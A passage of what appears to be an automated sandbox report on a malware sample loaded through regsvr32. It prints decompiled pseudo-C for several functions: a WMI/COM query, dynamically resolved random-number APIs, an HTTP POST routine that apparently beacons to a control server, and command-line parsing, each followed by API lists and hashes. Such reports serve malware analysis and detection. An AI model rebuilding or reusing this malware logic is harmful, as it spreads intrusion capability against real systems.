				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E0099E485(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E00998DC9(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E00998DDF( &_v60, 0xfffffffe);
					E0099E539( &_v104);
					return _t320;
				}
				_t165 = E00999F85(_t255, 0xcdd);
				 *_t328 = 0x6b4;
				_v52 = _t165;
				_t166 = E00999F85(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E00999C50(_t165);
				_v60 = _t322;
				E00998D9A( &_v52);
				E00998D9A( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E00999F85(_t255, 0xc93);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E00998D9A( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E00998DDF( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E00999AB3(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E00999AB3(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E00998E5D(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E00998DC9( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E00998DDF(_t136, 0);
								E00998DDF( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E00999AB3(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E00999F85(_t281, 0xcc1);
								 *_t329 = 0xabe;
								_t217 = E00999F85(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E00998DC9(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E00998D9A( &_v92);
											E00998D9A( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E00999FE4();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E00998DC9(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E00999F85(_t283, 0x2a);
										E00999FE4( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E00998D9A( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E00999AB3(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E0099E9AE( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E00998DDF( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

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APIs

Part of subcall function 0099E485: CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E498
Part of subcall function 0099E485: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E4A9
Part of subcall function 0099E485: CoCreateInstance.OLE32(009AC8A0,00000000,00000001,009AC8B0,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E4C0
Part of subcall function 0099E485: SysAllocString.OLEAUT32(00000000), ref: 0099E4CB
Part of subcall function 0099E485: CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E4F6

Part of subcall function 00998DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00999793,00000100,?,0099661B), ref: 00998DD7

SysAllocString.OLEAUT32(00000000), ref: 0099EB73
SysAllocString.OLEAUT32(00000000), ref: 0099EB87
SysFreeString.OLEAUT32(?), ref: 0099EF0D
SysFreeString.OLEAUT32(?), ref: 0099EF16

Part of subcall function 00998DDF: HeapFree.KERNEL32(00000000,00000000), ref: 00998E25

Strings

FALSE, xrefs: 0099ED3C
TRUE, xrefs: 0099ED35

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: String$AllocFree$HeapInitialize$AllocateBlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 1290676130-1412513891
Opcode ID: 0feb9c066840bc991fd07e48f59d301e1773c1dc61c58ed26b2b407c1e1661d6
Instruction ID: dee91dc712e980ffcfece0a8e867b6c7129d8eb4e5b40e062ced844237b2dea3
Opcode Fuzzy Hash: 0feb9c066840bc991fd07e48f59d301e1773c1dc61c58ed26b2b407c1e1661d6
Instruction Fuzzy Hash: 68E14871E00219AFDF14DFE8C889EAEBBB9FF49300F144559E506AB295DB31AD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009A2951 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 66
libraryloaderCOMMON

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C-Code - Quality: 30%

			E009A2951(intOrPtr* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char _v16;
				_Unknown_base(*)()* _t15;
				void* _t20;
				intOrPtr* _t25;
				intOrPtr* _t29;
				struct HINSTANCE__* _t30;

				_v8 = _v8 & 0x00000000;
				_t30 = GetModuleHandleW(L"advapi32.dll");
				if(_t30 == 0) {
					L7:
					return 1;
				}
				_t25 = GetProcAddress(_t30, "CryptAcquireContextA");
				if(_t25 == 0) {
					goto L7;
				}
				_t15 = GetProcAddress(_t30, "CryptGenRandom");
				_v12 = _t15;
				if(_t15 == 0) {
					goto L7;
				}
				_t29 = GetProcAddress(_t30, "CryptReleaseContext");
				if(_t29 == 0) {
					goto L7;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if( *_t25() == 0) {
					goto L7;
				}
				_t20 = _v12(_v8, 4,  &_v16);
				 *_t29(_v8, 0);
				if(_t20 == 0) {
					goto L7;
				}
				 *_a4 = E009A28AC( &_v16);
				return 0;
			}

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APIs

GetModuleHandleW.KERNEL32(advapi32.dll,00000000,00000000,00000000,00997C84), ref: 009A2963
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 009A297B
GetProcAddress.KERNEL32(00000000,CryptGenRandom), ref: 009A2989
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 009A2998

Strings

CryptReleaseContext, xrefs: 009A2992
CryptGenRandom, xrefs: 009A2983
advapi32.dll, xrefs: 009A295E
CryptAcquireContextA, xrefs: 009A2975

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: f24f45ef940f5f482eb627eea4cf134c8230060967cf4bfd93413664bbcd9e79
Instruction ID: c612d1f93ec0fcdda67f95b55a4f9246a507e148dbe68e1a1c8d90d04de777d5
Opcode Fuzzy Hash: f24f45ef940f5f482eb627eea4cf134c8230060967cf4bfd93413664bbcd9e79
Instruction Fuzzy Hash: 14118232A443197BDB1197BC8D42F9FB6ACAFC6B58F210161FE00EA180DB74DE0086D4

Uniqueness

Uniqueness Score: -1.00%

Function 0099F7A3 Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 268
COMMON

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C-Code - Quality: 93%

			E0099F7A3(void* __edx, intOrPtr _a4, intOrPtr _a8, signed int* _a12, signed int* _a16, signed int* _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				int _v68;
				void* _v72;
				intOrPtr _v92;
				int _v96;
				void* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				char _v116;
				char _v132;
				void _v388;
				void _v644;
				intOrPtr _t94;
				intOrPtr _t102;
				signed int _t104;
				intOrPtr* _t105;
				intOrPtr _t110;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				signed int _t116;
				char _t117;
				intOrPtr _t119;
				char _t122;
				intOrPtr _t127;
				signed int _t129;
				intOrPtr _t135;
				intOrPtr _t139;
				intOrPtr _t143;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t153;
				intOrPtr _t155;
				intOrPtr _t159;
				void* _t163;
				signed int _t165;
				void* _t166;
				intOrPtr _t179;
				signed int _t186;
				char _t188;
				signed int _t189;
				void* _t190;
				char _t193;
				signed int _t194;
				signed int _t195;
				void* _t196;

				_v24 = 4;
				_v32 = 0;
				_v28 = 1;
				_t190 = __edx;
				memset( &_v388, 0, 0x100);
				memset( &_v644, 0, 0x100);
				_t166 = 0x65;
				_v56 = E00999F6B(_t166);
				_v52 = E00999F6B(0xcc6);
				_v48 = E00999F6B(0xe03);
				_v44 = E00999F6B(0x64c);
				_t94 = E00999F6B(0x80a);
				_v36 = _v36 & 0;
				_t188 = 0x3c;
				_v40 = _t94;
				E00998F63( &_v116, 0, 0x100);
				_v108 = 0x10;
				_v112 =  &_v132;
				_v116 = _t188;
				_v100 =  &_v388;
				_v96 = 0x100;
				_v72 =  &_v644;
				_push( &_v116);
				_push(0);
				_v68 = 0x100;
				_push(E0099A5D0(_t190));
				_t102 =  *0x9af8f0; // 0x0
				_push(_t190);
				if( *((intOrPtr*)(_t102 + 0x28))() != 0) {
					_t104 = 0;
					__eflags = 0;
					_v12 = 0;
					do {
						_t105 =  *0x9af8f0; // 0x0
						_v8 = 0x8404f700;
						_t189 =  *_t105( *0x9af9d8,  *((intOrPtr*)(_t196 + _t104 * 4 - 0x1c)), 0, 0, 0);
						__eflags = _t189;
						if(_t189 != 0) {
							E0099F73B(_t189);
							_t110 =  *0x9af8f0; // 0x0
							_t111 =  *((intOrPtr*)(_t110 + 0x1c))(_t189,  &_v388, _v92, 0, 0, 3, 0, 0);
							__eflags = _a24;
							_t165 = _t111;
							if(_a24 != 0) {
								E0099A1F8(_a24);
							}
							__eflags = _t165;
							if(_t165 != 0) {
								__eflags = _v104 - 4;
								_t112 = 0x8484f700;
								if(_v104 != 4) {
									_t112 = _v8;
								}
								_t115 =  *0x9af8f0; // 0x0
								_t116 =  *((intOrPtr*)(_t115 + 0x20))(_t165, "POST",  &_v644, 0, 0,  &_v56, _t112, 0);
								_v8 = _t116;
								__eflags = _a24;
								if(_a24 != 0) {
									E0099A1F8(_a24);
									_t116 = _v8;
								}
								__eflags = _t116;
								if(_t116 != 0) {
									__eflags = _v104 - 4;
									if(_v104 == 4) {
										E0099F6E9(_t116);
									}
									_t117 = E00999F6B(0x82e);
									_t193 = _t117;
									_v16 = _t193;
									_t119 =  *0x9af8f0; // 0x0
									_t194 = _v8;
									_v8 =  *((intOrPtr*)(_t119 + 0x24))(_t194, _t193, E0099A5D0(_t193), _a4, _a8);
									E00998D87( &_v16);
									__eflags = _a24;
									if(_a24 != 0) {
										E0099A1F8(_a24);
									}
									__eflags = _v8;
									if(_v8 != 0) {
										L25:
										_t122 = 8;
										_v24 = _t122;
										_v20 = 0;
										_v16 = 0;
										E00998F63( &_v20, 0, _t122);
										_t127 =  *0x9af8f0; // 0x0
										__eflags =  *((intOrPtr*)(_t127 + 0xc))(_t194, 0x13,  &_v20,  &_v24, 0);
										if(__eflags != 0) {
											_t129 = E0099A102( &_v20, __eflags);
											__eflags = _t129 - 0xc8;
											if(_t129 == 0xc8) {
												 *_a20 = _t194;
												 *_a12 = _t189;
												 *_a16 = _t165;
												__eflags = 0;
												return 0;
											}
											_v12 =  ~_t129;
											L29:
											_t135 =  *0x9af8f0; // 0x0
											 *((intOrPtr*)(_t135 + 8))(_t194);
											_t195 = _v12;
											L30:
											__eflags = _t165;
											if(_t165 != 0) {
												_t139 =  *0x9af8f0; // 0x0
												 *((intOrPtr*)(_t139 + 8))(_t165);
											}
											__eflags = _t189;
											if(_t189 != 0) {
												_t179 =  *0x9af8f0; // 0x0
												 *((intOrPtr*)(_t179 + 8))(_t189);
											}
											return _t195;
										}
										GetLastError();
										_v12 = 0xfffffff8;
										goto L29;
									} else {
										GetLastError();
										_t143 =  *0x9af8f0; // 0x0
										 *((intOrPtr*)(_t143 + 8))(_t194);
										_t145 =  *0x9af8f0; // 0x0
										_v8 = _v8 & 0x00000000;
										 *((intOrPtr*)(_t145 + 8))(_t165);
										_t147 =  *0x9af8f0; // 0x0
										_t165 = 0;
										__eflags = 0;
										 *((intOrPtr*)(_t147 + 8))(_t189);
										_t194 = _v8;
										goto L21;
									}
								} else {
									GetLastError();
									_t153 =  *0x9af8f0; // 0x0
									 *((intOrPtr*)(_t153 + 8))(_t165);
									_t155 =  *0x9af8f0; // 0x0
									_t165 = 0;
									 *((intOrPtr*)(_t155 + 8))(_t189);
									_t189 = 0;
									_t194 = _v8;
									goto L22;
								}
							} else {
								GetLastError();
								_t159 =  *0x9af8f0; // 0x0
								 *((intOrPtr*)(_t159 + 8))(_t189);
								L21:
								_t189 = 0;
								__eflags = 0;
								goto L22;
							}
						}
						GetLastError();
						L22:
						_t186 = _t194;
						_t104 = _v12 + 1;
						_v12 = _t104;
						__eflags = _t104 - 2;
					} while (_t104 < 2);
					__eflags = _t186;
					if(_t186 != 0) {
						goto L25;
					}
					_t195 = 0xfffffffe;
					goto L30;
				}
				_t163 = 0xfffffffc;
				return _t163;
			}

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APIs

memset.MSVCRT ref: 0099F7D4
memset.MSVCRT ref: 0099F7E5

Part of subcall function 00998F63: memset.MSVCRT ref: 00998F75

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 0099F8BA

Strings

POST, xrefs: 0099F933

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 0fb9bd38627b1415b34083df062a37e16f9093f0853ff9c9817b122cf9cdf42f
Instruction ID: 5b96dce06d702873cbe570a23ad075ced5bf2a4eeca0aea17b2bf5eaa039db73
Opcode Fuzzy Hash: 0fb9bd38627b1415b34083df062a37e16f9093f0853ff9c9817b122cf9cdf42f
Instruction Fuzzy Hash: 94A13C71A04219AFDF10DFA8D898BAEB7B8FF49310F244069F906E7250DB749E41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 009A14C5 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 445COMMON

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APIs

_snprintf.MSVCRT ref: 009A1545
qsort.MSVCRT ref: 009A17C3

Strings

%I64d, xrefs: 009A1537
false, xrefs: 009A1528
null, xrefs: 009A150A
true, xrefs: 009A151C

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

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Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true
API String ID: 756996078-4285102228
Opcode ID: 972d32358749b9eb9179c434f7a709bed863f7960b4d54c0bf401c3c6bf315d8
Instruction ID: 00dd471b7b76575abc8a51330cf421e2972195ec3828c864226b9ef26c56a4ba
Opcode Fuzzy Hash: 972d32358749b9eb9179c434f7a709bed863f7960b4d54c0bf401c3c6bf315d8
Instruction Fuzzy Hash: 68E16BB190020ABFEF119FA4CC42FAF3BA9EF97354F108415FD159A151E635DA609BE0

Uniqueness

Uniqueness Score: -1.00%

Function 0099503F Relevance: 9.2, APIs: 6, Instructions: 247
stringCOMMON

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C-Code - Quality: 83%

			E0099503F(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, WCHAR* _a12) {
				void _v532;
				char _v548;
				char _v580;
				char _v584;
				short _v588;
				WCHAR* _v592;
				WCHAR* _v596;
				intOrPtr _v600;
				char _v628;
				char _v632;
				void* __ebx;
				void* __esi;
				short _t47;
				WCHAR* _t54;
				WCHAR* _t55;
				intOrPtr _t56;
				signed int _t61;
				void* _t65;
				void* _t66;
				WCHAR* _t67;
				intOrPtr _t68;
				WCHAR* _t70;
				intOrPtr _t71;
				WCHAR* _t73;
				WCHAR* _t83;
				intOrPtr _t84;
				void* _t85;
				intOrPtr _t86;
				void* _t93;
				intOrPtr _t94;
				intOrPtr _t96;
				void* _t99;
				void* _t100;
				WCHAR* _t101;
				void* _t112;
				WCHAR* _t116;
				intOrPtr _t127;
				void* _t128;
				void* _t146;
				WCHAR* _t149;
				void* _t150;
				void* _t152;
				void* _t156;
				WCHAR* _t157;
				WCHAR* _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t163;
				signed int _t165;
				void* _t168;
				void* _t169;
				intOrPtr* _t170;
				void* _t175;

				_t175 = __fp0;
				_push(_t160);
				_t99 = __edx;
				_t156 = __ecx;
				_t161 = _t160 | 0xffffffff;
				memset( &_v532, 0, 0x20c);
				_t168 = (_t165 & 0xfffffff8) - 0x254 + 0xc;
				_v592 = 1;
				if(_t156 != 0) {
					_t94 =  *0x9af8d4; // 0x452fc00
					_t96 =  *0x9af8d8; // 0x452fab0
					_v600 =  *((intOrPtr*)(_t96 + 0x68))(_t156,  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0x110)))));
				}
				if(E0099CB85(_t156) != 0) {
					L4:
					_t47 = E0099C85A();
					_push(_t99);
					_v588 = _t47;
					E0099C64D(_t47,  &_v580, _t173, _t175);
					_t100 = E00994FFB( &_v580,  &_v580, _t173);
					_t112 = E0099E34A( &_v580, E0099A5D0( &_v580), 0);
					E0099C870(_t112,  &_v548, _t175);
					_push(_t112);
					_t54 = E00993174(_t156,  &_v580, _t173, _t175);
					_v596 = _t54;
					if(_t54 != 0) {
						_push(0);
						_push(_t100);
						_push(0x9ac9d8);
						_t55 = E00999C50(_t54);
						_t169 = _t168 + 0x10;
						_t101 = _t55;
						__eflags = _v592;
						if(__eflags != 0) {
							_t56 = E00999AB3(_v596);
							_t116 = _t101;
							 *0x9af990 = _t56;
							 *0x9af988 = E00999AB3(_t116);
							L12:
							_push(_t116);
							_t157 = E0099A7C6( &_v532, _t156, _t175, _v588,  &_v584,  &_v596);
							_t170 = _t169 + 0x10;
							__eflags = _t157;
							if(_t157 == 0) {
								goto L36;
							}
							_push(0x9aca26);
							_t146 = 0xe;
							E0099AC36(_t146, _t175);
							E0099AC6F(_t157, _t175, _t101);
							_t163 = _a4;
							_push( *_t163);
							E0099AC11(0xb);
							_t148 =  *(_t163 + 0x10);
							__eflags =  *(_t163 + 0x10);
							if( *(_t163 + 0x10) != 0) {
								E0099B1B1(_t148, _t175);
							}
							_t149 =  *(_t163 + 0xc);
							__eflags = _t149;
							if(_t149 != 0) {
								E0099B1B1(_t149, _t175);
							}
							_t65 = E0099A1F8(0);
							_push(_t149);
							_t150 = 2;
							_t66 = E0099ABE3();
							__eflags = _v592;
							_t127 = _t65;
							if(_v592 == 0) {
								_t127 =  *0x9af8d4; // 0x452fc00
								__eflags =  *((intOrPtr*)(_t127 + 0xa4)) - 1;
								if(__eflags != 0) {
									_t67 = E009A0DDF(_t66, _t101, _t150, _t175, 0, _t101, 0);
									_t170 = _t170 + 0xc;
									goto L21;
								}
								_t127 = _t127 + 0x228;
								goto L20;
							} else {
								_t68 =  *0x9af8d4; // 0x452fc00
								__eflags =  *((intOrPtr*)(_t68 + 0xa4)) - 1;
								if(__eflags != 0) {
									L27:
									__eflags =  *(_t68 + 0x1898) & 0x00000082;
									if(( *(_t68 + 0x1898) & 0x00000082) != 0) {
										_t152 = 0x64;
										E0099F15B(_t152);
									}
									E0099565D( &_v580, _t175);
									_t159 = _a8;
									_t128 = _t127;
									__eflags = _t159;
									if(_t159 != 0) {
										_t71 =  *0x9af8d4; // 0x452fc00
										__eflags =  *((intOrPtr*)(_t71 + 0xa0)) - 1;
										if( *((intOrPtr*)(_t71 + 0xa0)) != 1) {
											lstrcpyW(_t159, _t101);
										} else {
											_t73 = E0099109A(_t128, 0x153);
											_v596 = _t73;
											lstrcpyW(_t159, _t73);
											E00998D9A( &_v596);
											 *_t170 = "\"";
											lstrcatW(_t159, ??);
											lstrcatW(_t159, _t101);
											lstrcatW(_t159, "\"");
										}
									}
									_t70 = _a12;
									__eflags = _t70;
									if(_t70 != 0) {
										 *_t70 = _v588;
									}
									_t161 = 0;
									__eflags = 0;
									goto L36;
								}
								_t32 = _t68 + 0x228; // 0x452fe28
								_t127 = _t32;
								L20:
								_t67 = E009958D2(_t127, _t101, __eflags);
								L21:
								__eflags = _t67;
								if(_t67 >= 0) {
									_t68 =  *0x9af8d4; // 0x452fc00
									goto L27;
								}
								_push(0xfffffffd);
								L6:
								_pop(_t161);
								goto L36;
							}
						}
						_t83 = E0099D210(_v588, __eflags);
						_v596 = _t83;
						_t84 =  *0x9af8d0; // 0x452f8c0
						_t85 =  *((intOrPtr*)(_t84 + 0xdc))(_t83, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
						__eflags = _t85 - _t161;
						if(_t85 != _t161) {
							_t86 =  *0x9af8d0; // 0x452f8c0
							 *((intOrPtr*)(_t86 + 0x30))();
							E00998DDF( &_v632, _t161);
							_t116 = _t85;
							goto L12;
						}
						E00998DDF( &_v628, _t161);
						_t61 = 1;
						goto L37;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t93 = E0099308A( &_v532, _t161, 0x105);
					_t173 = _t93;
					if(_t93 == 0) {
						L36:
						_t61 = _t161;
						L37:
						return _t61;
					}
					goto L4;
				}
			}

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APIs

memset.MSVCRT ref: 00995061
lstrcpyW.KERNEL32 ref: 009952C7
lstrcatW.KERNEL32(00000000,?), ref: 009952E5
lstrcatW.KERNEL32(00000000,00000000), ref: 009952E9
lstrcatW.KERNEL32(00000000,009ACA28), ref: 009952F1

Part of subcall function 00998DDF: HeapFree.KERNEL32(00000000,00000000), ref: 00998E25

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: lstrcat$FreeHeaplstrcpymemset
String ID:
API String ID: 911671052-0
Opcode ID: 685742017ed7526f53c98257fab9c89ce096b7c82f4ab30b93be853f0fffe30c
Instruction ID: d3cc5a97c2386258420868a428006cb8e38490418f70b194ecb83e56dde1a2bb
Opcode Fuzzy Hash: 685742017ed7526f53c98257fab9c89ce096b7c82f4ab30b93be853f0fffe30c
Instruction Fuzzy Hash: E271FC31208301ABDB25EB28DC92B7F73EAEFC5710F14092DF4568B291EB7498048B82

Uniqueness

Uniqueness Score: -1.00%

Function 0099DEAB Relevance: 9.1, APIs: 6, Instructions: 98
stringCOMMON

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C-Code - Quality: 93%

			E0099DEAB(WCHAR* __ecx) {
				int _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				WCHAR* _v140;
				WCHAR* _v144;
				short _v664;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				WCHAR* _t36;
				int _t40;
				signed int _t41;
				int _t44;
				signed int _t45;
				WCHAR* _t49;
				signed int _t51;
				WCHAR* _t52;
				void* _t53;

				_v8 = _v8 & 0x00000000;
				_v16 = __ecx;
				_t51 = 0;
				_t28 = CommandLineToArgvW(GetCommandLineW(),  &_v8);
				_t44 = _v8;
				_t41 = 0;
				_v12 = _t28;
				if(_t44 <= 0) {
					L22:
					_t29 = _t28 | 0xffffffff;
					__eflags = _t29;
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					_t49 =  *(_t28 + _t41 * 4);
					_t30 =  *_t49 & 0x0000ffff;
					if(_t30 != 0 && _t30 != 0xd && _t30 != 0xa && _t30 != 0x2d && _t30 != 0x2f && _t51 < 0x20) {
						 *(_t53 + _t51 * 4 - 0x8c) = _t49;
						_t40 = lstrlenW(_t49);
						_t45 = 0;
						if(_t40 <= 0) {
							L11:
							_t44 = _v8;
							_t51 = _t51 + 1;
							goto L12;
						} else {
							goto L8;
						}
						do {
							L8:
							if(_t49[_t45] == 0x2c) {
								_t49[_t45] = 0;
							}
							_t45 = _t45 + 1;
						} while (_t45 < _t40);
						goto L11;
					}
					L12:
					_t28 = _v12;
					_t41 = _t41 + 1;
				} while (_t41 < _t44);
				if(_t51 != 1) {
					if(__eflags <= 0) {
						goto L22;
					}
